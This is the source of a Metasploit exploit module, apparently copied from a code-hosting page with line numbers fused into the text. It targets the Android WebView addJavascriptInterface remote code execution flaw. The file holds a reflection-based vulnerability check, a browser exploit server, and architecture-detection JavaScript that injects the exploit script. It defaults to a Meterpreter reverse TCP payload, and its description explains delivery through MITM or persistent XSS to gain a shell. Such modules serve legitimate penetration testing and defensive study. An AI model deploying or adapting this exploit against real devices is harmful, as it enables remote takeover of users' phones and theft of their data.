Path: blob/master/modules/exploits/android/browser/webview_addjavascriptinterface.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::BrowserExploitServer9include Msf::Exploit::Remote::BrowserAutopwn10include Msf::Exploit::Android1112VULN_CHECK_JS = %|13for (i in top) {14try {15top[i].getClass().forName('java.lang.Runtime');16is_vuln = true; break;17} catch(e) {}18}19|2021autopwn_info(22os_name: OperatingSystems::Match::ANDROID,23arch: ARCH_ARMLE,24javascript: true,25rank: ExcellentRanking,26vuln_test: VULN_CHECK_JS27)2829def initialize(info = {})30super(31update_info(32info,33'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',34'Description' => %q{35This module exploits a privilege escalation issue in Android < 4.2's WebView component36that arises when untrusted JavaScript code is executed by a WebView that has one or more37Interfaces added to it. The untrusted JavaScript code can call into the Java Reflection38APIs exposed by the Interface and execute arbitrary commands.3940Some distributions of the Android Browser app have an addJavascriptInterface41call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs424.1.2 release of Android is known to be vulnerable.4344A secondary attack vector involves the WebViews embedded inside a large number45of Android applications. Ad integrations are perhaps the worst offender here.46If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS47into the page displayed in the WebView, then you can inject the html/js served48by this module and get a shell.4950Note: Adding a .js to the URL will return plain javascript (no HTML markup).51},52'License' => MSF_LICENSE,53'Author' => [54'jduck', # original msf module55'joev' # static server56],57'References' => [58['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],59['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],60['URL', 'http://50.56.33.56/blog/?p=314'],61['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],62['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],63['CVE', '2012-6636'], # original CVE for addJavascriptInterface64['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)65['EDB', '31519'],66['OSVDB', '97520']67],68'Platform' => ['android', 'linux'],69'Arch' => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],70'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },71'Targets' => [ [ 'Automatic', {} ] ],72'DisclosureDate' => '2012-12-21',73'DefaultTarget' => 0,74'Notes' => {75'SideEffects' => [ ARTIFACTS_ON_DISK ],76'Reliability' => [ UNRELIABLE_SESSION ],77'Stability' => [ CRASH_SAFE ]78},79'BrowserRequirements' => {80source: 'script',81os_name: OperatingSystems::Match::ANDROID,82vuln_test: VULN_CHECK_JS,83vuln_test_error: 'No vulnerable Java objects were found in this web context.'84}85)86)8788deregister_options('JsObfuscate')89end9091# Hooked to prevent BrowserExploitServer from attempting to do JS detection92# on requests for the static javascript file93def on_request_uri(cli, req)94if req.uri =~ /\.js/95serve_static_js(cli, req)96else97super98end99end100101# The browser appears to be vulnerable, serve the exploit102def on_request_exploit(cli, _req, browser)103arch = normalize_arch(browser[:arch])104print_status "Serving #{arch} exploit..."105send_response_html(cli, html(arch))106end107108# Called when a client requests a .js route.109# This is handy for post-XSS.110def serve_static_js(cli, req)111arch = req.qstring['arch']112response_opts = { 'Content-type' => 'text/javascript' }113114if arch.present?115print_status("Serving javascript for arch #{normalize_arch arch}")116send_response(cli, add_javascript_interface_exploit_js(normalize_arch(arch)), response_opts)117else118print_status('Serving arch detection javascript')119send_response(cli, static_arch_detect_js, response_opts)120end121end122123# This is served to requests for the static .js file.124# Because we have to use javascript to detect arch, we have 3 different125# versions of the static .js file (x86/mips/arm) to choose from. This126# small snippet of js detects the arch and requests the correct file.127def static_arch_detect_js128%|129var arches = {};130arches['#{ARCH_ARMLE}'] = /arm/i;131arches['#{ARCH_MIPSLE}'] = /mips/i;132arches['#{ARCH_X86}'] = /x86/i;133134var arch = null;135for (var name in arches) {136if (navigator.platform.toString().match(arches[name])) {137arch = name;138break;139}140}141142if (arch) {143// load the script with the correct arch144var script = document.createElement('script');145script.setAttribute('src', '#{get_uri}/#{Rex::Text.rand_text_alpha(5)}.js?arch='+arch);146script.setAttribute('type', 'text/javascript');147148// ensure body is parsed and we won't be in an uninitialized state149setTimeout(function(){150var node = document.body \|\| document.head;151node.appendChild(script);152}, 100);153}154|155end156157# @return [String] normalized client architecture158def normalize_arch(arch)159SUPPORTED_ARCHES.include?(arch) ? arch : DEFAULT_ARCH160end161162def html(arch)163"<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"164end165end166167168